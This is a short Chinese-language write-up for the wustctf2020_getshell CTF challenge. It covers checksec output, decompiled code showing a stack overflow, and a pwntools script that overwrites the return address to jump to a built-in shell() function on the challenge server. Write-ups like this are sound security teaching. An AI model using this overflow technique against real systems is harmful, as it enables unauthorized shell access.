分析

  1. checksec
1
2
3
checksec --file=wustctf2020_getshell
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 78) Symbols No 0 1 wustctf2020_getshell
  1. file
1
2
file wustctf2020_getshell 
wustctf2020_getshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40bb6da963cf07f59b8222759f2629fdbfe26307, not stripped
  1. ida

main:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}

查看init函数:【就是在控制台打印logo而已】

1
2
3
4
5
6
7
8
9
10
11
int init()
{
alarm(0x20u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return puts(
" __ ___ ______ ___ \n"
" / |/ /__ /_ __/__< /_ __\n"
" / /|_/ / _ `// / / __/ /\\ \\ /\n"
"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}

查看vulnerable函数:

1
2
3
4
5
ssize_t vulnerable()
{
char buf[24]; // [esp+0h] [ebp-18h] BYREF
return read(0, buf, 0x20u);
}

这里存在溢出。

继续查看是否有可利用函数,发现shell函数:

1
2
3
4
int shell()
{
return system("/bin/sh");
}

思路就很清晰了,直接溢出覆盖地址,覆盖跳转位shell函数地址。

利用

1
2
3
4
5
6
from pwn import *
r = remote('node5.buuoj.cn',26510)
shell = 0x804851B
buf = b'a'*(0x18+4) + p32(shell)
r.sendline(buf)
r.interactive()